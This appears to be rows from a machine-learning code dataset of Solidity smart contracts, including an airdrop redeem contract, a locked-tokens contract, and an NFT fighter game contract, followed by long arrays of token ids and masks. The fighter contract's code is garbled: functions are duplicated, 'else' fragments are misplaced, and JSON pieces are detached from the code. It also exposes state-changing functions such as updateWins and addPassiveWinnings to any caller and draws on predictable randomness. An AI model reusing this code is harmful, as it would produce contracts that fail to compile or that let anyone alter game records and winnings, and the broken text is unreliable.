file_name
stringlengths
71
779k
comments
stringlengths
20
182k
code_string
stringlengths
20
36.9M
__index_level_0__
int64
0
17.2M
input_ids
list
attention_mask
list
labels
list
pragma solidity ^0.4.20; /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred (address indexed _from, address indexed _to); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public{ owner = msg.sender; OwnershipTransferred(address(0), owner); } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); owner = newOwner; OwnershipTransferred(owner,newOwner); } } /** * @title Token * @dev API interface for interacting with the Token contract */ interface Token { function transferFrom(address _from, address _to, uint256 _value) external returns (bool success); function balanceOf(address _owner) constant external returns (uint256 balance); function transfer(address to, uint256 value) external returns (bool); function approve(address spender, uint256 value) external returns (bool); } /** * @title AirDropRedeemAFTK Ver 1.0 * @dev This contract can be used for Airdrop or token redumption for AFTK Token * */ contract AirDropRedeemAFTK is Ownable { Token token; mapping(address => uint256) public redeemBalanceOf; event BalanceSet(address indexed beneficiary, uint256 value); event Redeemed(address indexed beneficiary, uint256 value); event BalanceCleared(address indexed beneficiary, uint256 value); event TokenSendStart(address indexed beneficiary, uint256 value); event TransferredToken(address indexed to, uint256 value); event FailedTransfer(address indexed to, uint256 value); function AirDropRedeemAFTK() public { address _tokenAddr = 0x7fa2f70bd4c4120fdd539ebd55c04118ba336b9e; token = Token(_tokenAddr); } /** * @dev admin can allocate tokens for redemption * @param dests -> array of addresses to which tokens will be allocated * @param values -> array of number of tokens to be allocated for the index above */ function setBalances(address[] dests, uint256[] values) onlyOwner public { uint256 i = 0; while (i < dests.length){ if(dests[i] != address(0)) { uint256 toSend = values[i] * 10**18; redeemBalanceOf[dests[i]] += toSend; BalanceSet(dests[i],values[i]); } i++; } } /** * @dev Send approved tokens to one address * @param dests -> address where you want to send tokens * @param quantity -> number of tokens to send */ function sendTokensToOne(address dests, uint256 quantity) public payable onlyOwner returns (uint) { TokenSendStart(dests,quantity * 10**18); token.approve(dests, quantity * 10**18); require(token.transferFrom(owner , dests ,quantity * 10**18)); return token.balanceOf(dests); } /** * @dev Send approved tokens to two addresses * @param dests1 -> address where you want to send tokens * @param dests2 -> address where you want to send tokens * @param quantity -> number of tokens to send */ function sendTokensToTwo(address dests1, address dests2, uint256 quantity) public payable onlyOwner returns (uint) { TokenSendStart(dests1,quantity * 10**18); token.approve(dests1, quantity * 10**18); require(token.transferFrom(owner , dests1 ,quantity * 10**18)); TokenSendStart(dests2,quantity * 10**18); token.approve(dests2, quantity * 10**18); require(token.transferFrom(owner , dests2 ,quantity * 10**18)); return token.balanceOf(dests2); } /** * @dev Send approved tokens to five addresses * @param dests1 -> address where you want to send tokens * @param dests2 -> address where you want to send tokens * @param dests3 -> address where you want to send tokens * @param dests4 -> address where you want to send tokens * @param dests5 -> address where you want to send tokens * @param quantity -> number of tokens to send */ function sendTokensToFive(address dests1, address dests2, address dests3, address dests4, address dests5, uint256 quantity) public payable onlyOwner returns (uint) { TokenSendStart(dests1,quantity * 10**18); token.approve(dests1, quantity * 10**18); require(token.transferFrom(owner , dests1 ,quantity * 10**18)); TokenSendStart(dests2,quantity * 10**18); token.approve(dests2, quantity * 10**18); require(token.transferFrom(owner , dests2 ,quantity * 10**18)); TokenSendStart(dests3,quantity * 10**18); token.approve(dests3, quantity * 10**18); require(token.transferFrom(owner , dests3 ,quantity * 10**18)); TokenSendStart(dests4,quantity * 10**18); token.approve(dests4, quantity * 10**18); require(token.transferFrom(owner , dests4 ,quantity * 10**18)); TokenSendStart(dests5,quantity * 10**18); token.approve(dests5, quantity * 10**18); require(token.transferFrom(owner , dests5 ,quantity * 10**18)); return token.balanceOf(dests5); } /** * @dev Send approved tokens to seven addresses * @param dests1 -> address where you want to send tokens * @param dests2 -> address where you want to send tokens * @param dests3 -> address where you want to send tokens * @param dests4 -> address where you want to send tokens * @param dests5 -> address where you want to send tokens * @param dests6 -> address where you want to send tokens * @param dests7 -> address where you want to send tokens * @param quantity -> number of tokens to send */ function sendTokensToSeven(address dests1, address dests2, address dests3, address dests4, address dests5, address dests6, address dests7, uint256 quantity) public payable onlyOwner returns (uint) { TokenSendStart(dests1,quantity * 10**18); token.approve(dests1, quantity * 10**18); require(token.transferFrom(owner , dests1 ,quantity * 10**18)); TokenSendStart(dests2,quantity * 10**18); token.approve(dests2, quantity * 10**18); require(token.transferFrom(owner , dests2 ,quantity * 10**18)); TokenSendStart(dests3,quantity * 10**18); token.approve(dests3, quantity * 10**18); require(token.transferFrom(owner , dests3 ,quantity * 10**18)); TokenSendStart(dests4,quantity * 10**18); token.approve(dests4, quantity * 10**18); require(token.transferFrom(owner , dests4 ,quantity * 10**18)); TokenSendStart(dests5,quantity * 10**18); token.approve(dests5, quantity * 10**18); require(token.transferFrom(owner , dests5 ,quantity * 10**18)); TokenSendStart(dests6,quantity * 10**18); token.approve(dests6, quantity * 10**18); require(token.transferFrom(owner , dests6 ,quantity * 10**18)); TokenSendStart(dests7,quantity * 10**18); token.approve(dests7, quantity * 10**18); require(token.transferFrom(owner , dests7 ,quantity * 10**18)); return token.balanceOf(dests7); } /** * @dev users redeem already allocated tokens manually * @param quantity -> number of tokens to redeem */ function redeem(uint256 quantity) external{ uint256 baseUnits = quantity * 10**18; uint256 senderEligibility = redeemBalanceOf[msg.sender]; uint256 tokensAvailable = token.balanceOf(this); require(senderEligibility >= baseUnits); require( tokensAvailable >= baseUnits); if(token.transferFrom(owner, msg.sender,baseUnits)){ redeemBalanceOf[msg.sender] -= baseUnits; Redeemed(msg.sender,quantity); } } /** * @dev admin can remove the allocated tokens * @param dests -> array of addresses from where token allocation has to be removed * @param values -> array of number of tokens to be removed for the index above */ function removeBalances(address[] dests, uint256[] values) onlyOwner public { uint256 i = 0; while (i < dests.length){ if(dests[i] != address(0)) { uint256 toRevoke = values[i] * 10**18; if(redeemBalanceOf[dests[i]]>=toRevoke) { redeemBalanceOf[dests[i]] -= toRevoke; BalanceCleared(dests[i],values[i]); } } i++; } } /** * @dev admin can destroy this contract */ function destroy() onlyOwner public { uint256 tokensAvailable = token.balanceOf(this); require (tokensAvailable > 0); token.transfer(owner, tokensAvailable); selfdestruct(owner); } }
* @title Token @dev API interface for interacting with the Token contract/
interface Token { function transferFrom(address _from, address _to, uint256 _value) external returns (bool success); function balanceOf(address _owner) constant external returns (uint256 balance); function transfer(address to, uint256 value) external returns (bool); function approve(address spender, uint256 value) external returns (bool); }
191,489
[ 1, 1345, 225, 1491, 1560, 364, 16592, 310, 598, 326, 3155, 6835, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 5831, 3155, 288, 203, 225, 445, 7412, 1265, 12, 2867, 389, 2080, 16, 1758, 389, 869, 16, 2254, 5034, 389, 1132, 13, 3903, 1135, 261, 6430, 2216, 1769, 203, 225, 445, 11013, 951, 12, 2867, 389, 8443, 13, 5381, 3903, 1135, 261, 11890, 5034, 11013, 1769, 203, 225, 445, 7412, 12, 2867, 358, 16, 2254, 5034, 460, 13, 3903, 1135, 261, 6430, 1769, 203, 225, 445, 6617, 537, 12, 2867, 17571, 264, 16, 2254, 5034, 460, 13, 3903, 1135, 261, 6430, 1769, 225, 203, 97, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/4/0xC9cc7158E1cc495956a707a1EF3a5b120Ed19b91/sources/KeNFT/KennelFighter.sol
mapping(uint256 => uint256) public tokenToDna;
contract KennelFighter is Ownable, ERC721URIStorage { event NewFighter(uint256 figherId, uint256 power, uint256 criticalChance, uint256 level); uint256 public tokenCounter; address public kombatContract = 0x2485761Ed8867d69b6522bd31Ef8e25146C6248b; address public trainerContract = 0x6684ABA03bE698C2a826aF8AaaF7fa1D4CD4fca5; address public marketContract = 0x2485761Ed8867d69b6522bd31Ef8e25146C6248b; uint dnaDigits = 16; uint dnaModulus = 10 ** dnaDigits; uint public randNonce = 89745; uint256 public levelPerCritical = 25; mapping(uint256 => uint256) public tokenToWins; mapping(uint256 => uint256) public tokenToLoss; mapping(uint256 => uint256) public tokenToActiveWinnings; mapping(uint256 => uint256) public tokenToPassiveWinnings; mapping(uint256 => uint256) public tokenToExp; mapping(uint256 => uint256) public tokenToTotalExpEarned; mapping(uint256 => uint256) public tokenToExpNeeded; mapping(uint256 => uint256) public tokenToLastTrained; mapping(uint256 => uint256) public tokenToLastFought; mapping(uint256 => string) public tokenToName; mapping(uint256 => uint256) public tokenToLevel; mapping(uint256 => uint256) public tokenToCritical; mapping(uint256 => uint256) public tokenToToughness; mapping(uint256 => uint256) public tokenToArmor; mapping(uint256 => uint256) public tokenToMaxArmor; mapping(uint256 => string) public tokenToImage; mapping(uint256 => bool) public tokenToImageUpdated; constructor (string memory _name, string memory _symbol) ERC721(_name, _symbol){ } modifier onlyKombat() { require(msg.sender == kombatContract, "Only the Kombat Contract can call this function."); _; } modifier onlyTrainer() { require(msg.sender == trainerContract, "Only the Trainer Contract can call this function."); _; } modifier onlyMarket() { require(msg.sender == marketContract, "Only the Market Contract can call this function."); _; } modifier onlyOwnerOf(uint256 _tokenId){ require(msg.sender == ownerOf(_tokenId), "Sorry only the token owner can do this."); _; } function updateTokenImage(uint256 _tokenId, string memory _imageUrl) public onlyOwnerOf(_tokenId){ require(tokenToImageUpdated[_tokenId] == false, "This image has already been updated, it doesnt change."); tokenToImage[_tokenId] = _imageUrl; tokenToImageUpdated[_tokenId] = true; _setTokenURI(_tokenId, _formatTokenURI(_tokenId)); } function setTrainingContract(address _address) public onlyOwner{ trainerContract = _address; } function setKombatContract(address _address) public onlyOwner{ kombatContract = _address; } function setMarketContract(address _address) public onlyOwner{ marketContract = _address; } function updateLastFought(uint256 _tokenId) public { tokenToLastFought[_tokenId] = block.timestamp; } function updateWins(uint256 _tokenId) public { tokenToWins[_tokenId]++; } function updateLoss(uint256 _tokenId) public { tokenToLoss[_tokenId]++; } function setLevelPerCritical(uint256 _newNumber)public onlyOwner{ levelPerCritical = _newNumber; } function randMod(uint256 _modulus) private view returns(uint256) { return uint256(keccak256(abi.encodePacked(kombatContract.balance + randNonce))) % _modulus; } function addPassiveWinnings(uint256 _tokenId, uint256 _winnings) public { tokenToPassiveWinnings[_tokenId] = tokenToPassiveWinnings[_tokenId] + _winnings; } function addActiveWinnings(uint256 _tokenId, uint256 _winnings) public { tokenToActiveWinnings[_tokenId] = tokenToActiveWinnings[_tokenId] + _winnings; } function removeArmor(uint256 _tokenId) public { tokenToArmor[_tokenId]--; _setTokenURI(_tokenId, _formatTokenURI(_tokenId)); } function createFighter() public { uint256 tokenId = tokenCounter; tokenCounter++; tokenToCritical[tokenId] = randMod(6) + 1; tokenToImage[tokenId] = "Placeholder"; tokenToLevel[tokenId] = tokenToCritical[tokenId] * levelPerCritical - levelPerCritical; tokenToMaxArmor[tokenId] = randMod(25) + 1; tokenToArmor[tokenId] = tokenToMaxArmor[tokenId]; if(tokenToLevel[tokenId] == 0){ tokenToLevel[tokenId] = 1; } tokenToExpNeeded[tokenId] = tokenToLevel[tokenId] * 100; tokenToToughness[tokenId] = randMod(1000) + 1; _createToken(_formatTokenURI(tokenId), msg.sender, tokenId); } function createFighter() public { uint256 tokenId = tokenCounter; tokenCounter++; tokenToCritical[tokenId] = randMod(6) + 1; tokenToImage[tokenId] = "Placeholder"; tokenToLevel[tokenId] = tokenToCritical[tokenId] * levelPerCritical - levelPerCritical; tokenToMaxArmor[tokenId] = randMod(25) + 1; tokenToArmor[tokenId] = tokenToMaxArmor[tokenId]; if(tokenToLevel[tokenId] == 0){ tokenToLevel[tokenId] = 1; } tokenToExpNeeded[tokenId] = tokenToLevel[tokenId] * 100; tokenToToughness[tokenId] = randMod(1000) + 1; _createToken(_formatTokenURI(tokenId), msg.sender, tokenId); } randNonce++; function upgradable(uint256 _tokenId) public view returns(bool){ if(tokenToExp[_tokenId] >= tokenToExpNeeded[_tokenId]) { return true; return false; } } function upgradable(uint256 _tokenId) public view returns(bool){ if(tokenToExp[_tokenId] >= tokenToExpNeeded[_tokenId]) { return true; return false; } } }else{ function upgradeMaxArmor(uint256 _tokenId) public onlyKombat{ tokenToMaxArmor[_tokenId]++; _setTokenURI(_tokenId, _formatTokenURI(_tokenId)); } function levelUp(uint256 _tokenId) public onlyTrainer{ while(tokenToExp[_tokenId] >= tokenToExpNeeded[_tokenId] && tokenToLevel[_tokenId]< 500){ tokenToLevel[_tokenId]++; tokenToExp[_tokenId] = tokenToExp[_tokenId] - tokenToExpNeeded[_tokenId]; tokenToExpNeeded[_tokenId] = tokenToLevel[_tokenId] * 100; _setTokenURI(_tokenId, _formatTokenURI(_tokenId)); } } function levelUp(uint256 _tokenId) public onlyTrainer{ while(tokenToExp[_tokenId] >= tokenToExpNeeded[_tokenId] && tokenToLevel[_tokenId]< 500){ tokenToLevel[_tokenId]++; tokenToExp[_tokenId] = tokenToExp[_tokenId] - tokenToExpNeeded[_tokenId]; tokenToExpNeeded[_tokenId] = tokenToLevel[_tokenId] * 100; _setTokenURI(_tokenId, _formatTokenURI(_tokenId)); } } function refillArmor(uint256 _tokenId)public onlyTrainer{ tokenToArmor[_tokenId] = tokenToMaxArmor[_tokenId]; _setTokenURI(_tokenId, _formatTokenURI(_tokenId)); } function getNewToughness(uint256 _tokenId) public onlyTrainer{ uint256 _newTough = randMod(1000) + 1; if(_newTough < tokenToToughness[_tokenId]){ tokenToToughness[_tokenId]--; tokenToToughness[_tokenId] = _newTough; } tokenToLastTrained[_tokenId] = block.timestamp; _setTokenURI(_tokenId, _formatTokenURI(_tokenId)); } function getNewToughness(uint256 _tokenId) public onlyTrainer{ uint256 _newTough = randMod(1000) + 1; if(_newTough < tokenToToughness[_tokenId]){ tokenToToughness[_tokenId]--; tokenToToughness[_tokenId] = _newTough; } tokenToLastTrained[_tokenId] = block.timestamp; _setTokenURI(_tokenId, _formatTokenURI(_tokenId)); } }else{ function gainExp(uint256 _tokenId, uint256 _exp) public { tokenToExp[_tokenId] = tokenToExp[_tokenId] + _exp; tokenToTotalExpEarned[_tokenId] = tokenToTotalExpEarned[_tokenId] + _exp; } function _createToken(string memory _tokenURI, address _reciever, uint256 _tokenId) private { _safeMint(_reciever, _tokenId); _setTokenURI(_tokenId, _tokenURI); emit NewFighter(_tokenId, tokenToToughness[_tokenId],tokenToCritical[_tokenId], tokenToLevel[_tokenId]); } function uint2str(uint256 _i)internal pure returns (string memory str){ uint256 j = _i; uint256 length; while (j != 0){ length++; j /= 10; } bytes memory bstr = new bytes(length); uint256 k = length; j = _i; while (j != 0){ bstr[--k] = bytes1(uint8(48 + j % 10)); j /= 10; } str = string(bstr); } if (_i == 0){return "0";} function uint2str(uint256 _i)internal pure returns (string memory str){ uint256 j = _i; uint256 length; while (j != 0){ length++; j /= 10; } bytes memory bstr = new bytes(length); uint256 k = length; j = _i; while (j != 0){ bstr[--k] = bytes1(uint8(48 + j % 10)); j /= 10; } str = string(bstr); } function uint2str(uint256 _i)internal pure returns (string memory str){ uint256 j = _i; uint256 length; while (j != 0){ length++; j /= 10; } bytes memory bstr = new bytes(length); uint256 k = length; j = _i; while (j != 0){ bstr[--k] = bytes1(uint8(48 + j % 10)); j /= 10; } str = string(bstr); } function _formatTokenURI(uint256 _tokenId) private view returns (string memory) { return string( abi.encodePacked( "data:application/json;base64,", Base64.encode( bytes(abi.encodePacked( '{"name":"Test Token Generated", "description":"Test Description", "attributes":"[{"trait_type": "Toughness","value":', uint2str(tokenToToughness[_tokenId]), uint2str(tokenToCritical[_tokenId]), uint2str(tokenToLevel[_tokenId]), uint2str(tokenToMaxArmor[_tokenId]), uint2str(tokenToArmor[_tokenId]), uint2str(tokenToExp[_tokenId]), uint2str(tokenToActiveWinnings[_tokenId]), uint2str(tokenToPassiveWinnings[_tokenId]), uint2str(tokenToWins[_tokenId]), uint2str(tokenToLoss[_tokenId]), '}]", "image":"', tokenToImage[_tokenId], '"}' ) ) ) ) ); function _formatTokenURI(uint256 _tokenId) private view returns (string memory) { return string( abi.encodePacked( "data:application/json;base64,", Base64.encode( bytes(abi.encodePacked( '{"name":"Test Token Generated", "description":"Test Description", "attributes":"[{"trait_type": "Toughness","value":', uint2str(tokenToToughness[_tokenId]), uint2str(tokenToCritical[_tokenId]), uint2str(tokenToLevel[_tokenId]), uint2str(tokenToMaxArmor[_tokenId]), uint2str(tokenToArmor[_tokenId]), uint2str(tokenToExp[_tokenId]), uint2str(tokenToActiveWinnings[_tokenId]), uint2str(tokenToPassiveWinnings[_tokenId]), uint2str(tokenToWins[_tokenId]), uint2str(tokenToLoss[_tokenId]), '}]", "image":"', tokenToImage[_tokenId], '"}' ) ) ) ) ); '},{"trait_type": "Critical Chance","value":', '},{"trait_type":"Level","value":', '},{"trait_type":"Max Armor","value":', '},{"trait_type":"Armor","value":', '},{"trait_type": "Exp","value":', '},{"trait_type": "Attack Winnings","value":', '},{"trait_type": "Defense Winnings","value":', '},{"trait_type": "Wins","value":', '},{"trait_type": "Loss","value":', }
12,415,752
[ 1, 6770, 12, 11890, 5034, 516, 2254, 5034, 13, 1071, 1147, 774, 40, 6582, 31, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 1475, 275, 3084, 42, 18117, 353, 14223, 6914, 16, 4232, 39, 27, 5340, 3098, 3245, 288, 203, 565, 871, 1166, 42, 18117, 12, 11890, 5034, 4291, 1614, 548, 16, 2254, 5034, 7212, 16, 2254, 5034, 11239, 782, 1359, 16, 2254, 5034, 1801, 1769, 203, 565, 2254, 5034, 1071, 1147, 4789, 31, 203, 565, 1758, 1071, 417, 16659, 270, 8924, 273, 374, 92, 3247, 7140, 6669, 21, 2671, 28, 5292, 27, 72, 8148, 70, 9222, 3787, 16410, 6938, 41, 74, 28, 73, 2947, 27879, 39, 26, 3247, 28, 70, 31, 203, 565, 1758, 1071, 28974, 8924, 273, 374, 92, 6028, 5193, 2090, 37, 4630, 70, 41, 8148, 28, 39, 22, 69, 28, 5558, 69, 42, 28, 37, 7598, 42, 27, 507, 21, 40, 24, 10160, 24, 74, 5353, 25, 31, 203, 565, 1758, 1071, 13667, 8924, 273, 374, 92, 3247, 7140, 6669, 21, 2671, 28, 5292, 27, 72, 8148, 70, 9222, 3787, 16410, 6938, 41, 74, 28, 73, 2947, 27879, 39, 26, 3247, 28, 70, 31, 203, 203, 565, 2254, 31702, 9537, 273, 2872, 31, 203, 565, 2254, 31702, 1739, 17284, 273, 1728, 2826, 31702, 9537, 31, 203, 565, 2254, 1071, 5605, 13611, 273, 28308, 5608, 25, 31, 203, 565, 2254, 5034, 1071, 1801, 2173, 30286, 273, 6969, 31, 203, 565, 2874, 12, 11890, 5034, 516, 2254, 5034, 13, 1071, 1147, 774, 59, 2679, 31, 203, 565, 2874, 12, 11890, 5034, 516, 2254, 5034, 13, 1071, 1147, 774, 20527, 31, 203, 565, 2874, 12, 11890, 5034, 516, 2254, 5034, 13, 1071, 1147, 774, 3896, 2 ]
./full_match/1/0x241a9843611EEe430E4847B99Df2966d230eC8C0/sources/contracts/SmtDistributor.sol
@dev Emitted when `beneficiary` claims its `reward`.
event Claim(address indexed beneficiary, uint256 reward);
3,170,392
[ 1, 1514, 11541, 1347, 1375, 70, 4009, 74, 14463, 814, 68, 11955, 2097, 1375, 266, 2913, 8338, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 871, 18381, 12, 2867, 8808, 27641, 74, 14463, 814, 16, 2254, 5034, 19890, 1769, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.4.15; // ---------------------------------------------------------------------------- // HAZ 'Hazza Network Token' contract locked tokens // // Refer to http://hazza.network for further information. // // Enjoy. (c) ANX International and BokkyPooBah / Bok Consulting Pty Ltd 2017. // The MIT Licence. // ---------------------------------------------------------------------------- import "./ERC20Interface.sol"; import "./SafeMath.sol"; import "./HazzaNetworkTokenConfig.sol"; // ---------------------------------------------------------------------------- // Contract that holds the locked token information // ---------------------------------------------------------------------------- contract LockedTokens is HazzaNetworkTokenConfig { using SafeMath for uint; // ------------------------------------------------------------------------ // Current totalSupply of locked tokens // ------------------------------------------------------------------------ uint public totalSupplyLocked6M; uint public totalSupplyLocked8M; uint public totalSupplyLocked12M; // ------------------------------------------------------------------------ // Locked tokens mapping // ------------------------------------------------------------------------ mapping (address => uint) public balancesLocked6M; mapping (address => uint) public balancesLocked8M; mapping (address => uint) public balancesLocked12M; // ------------------------------------------------------------------------ // Address of Hazza Network token contract // ------------------------------------------------------------------------ ERC20Interface public tokenContract; address public tokenContractAddress; // ------------------------------------------------------------------------ // Constructor - called by token contract // ------------------------------------------------------------------------ function LockedTokens(address _tokenContract) { tokenContract = ERC20Interface(_tokenContract); tokenContractAddress = _tokenContract; // any locked token balances known in advance of contract deployment can be added here // add6M(0xaBBa43E7594E3B76afB157989e93c6621497FD4b, 2000000 * DECIMALSFACTOR); // add8M(0xAddA9B762A00FF12711113bfDc36958B73d7F915, 2000000 * DECIMALSFACTOR); // add12M(0xAddA9B762A00FF12711113bfDc36958B73d7F915, 2000000 * DECIMALSFACTOR); } // ------------------------------------------------------------------------ // Modifier to mark that a function can only be executed by the token contract // ------------------------------------------------------------------------ modifier onlyTokenContract { require(msg.sender == tokenContractAddress); _; } // ------------------------------------------------------------------------ // Add to 6m locked balances and totalSupply // ------------------------------------------------------------------------ function add6M(address account, uint value) onlyTokenContract { balancesLocked6M[account] = balancesLocked6M[account].add(value); totalSupplyLocked6M = totalSupplyLocked6M.add(value); } // ------------------------------------------------------------------------ // Add to 8m locked balances and totalSupply // ------------------------------------------------------------------------ function add8M(address account, uint value) onlyTokenContract { balancesLocked8M[account] = balancesLocked8M[account].add(value); totalSupplyLocked8M = totalSupplyLocked8M.add(value); } // ------------------------------------------------------------------------ // Add to 12m locked balances and totalSupply // ------------------------------------------------------------------------ function add12M(address account, uint value) onlyTokenContract { balancesLocked12M[account] = balancesLocked12M[account].add(value); totalSupplyLocked12M = totalSupplyLocked12M.add(value); } // ------------------------------------------------------------------------ // 6m locked balances for an account // ------------------------------------------------------------------------ function balanceOfLocked6M(address account) constant returns (uint balance) { return balancesLocked6M[account]; } // 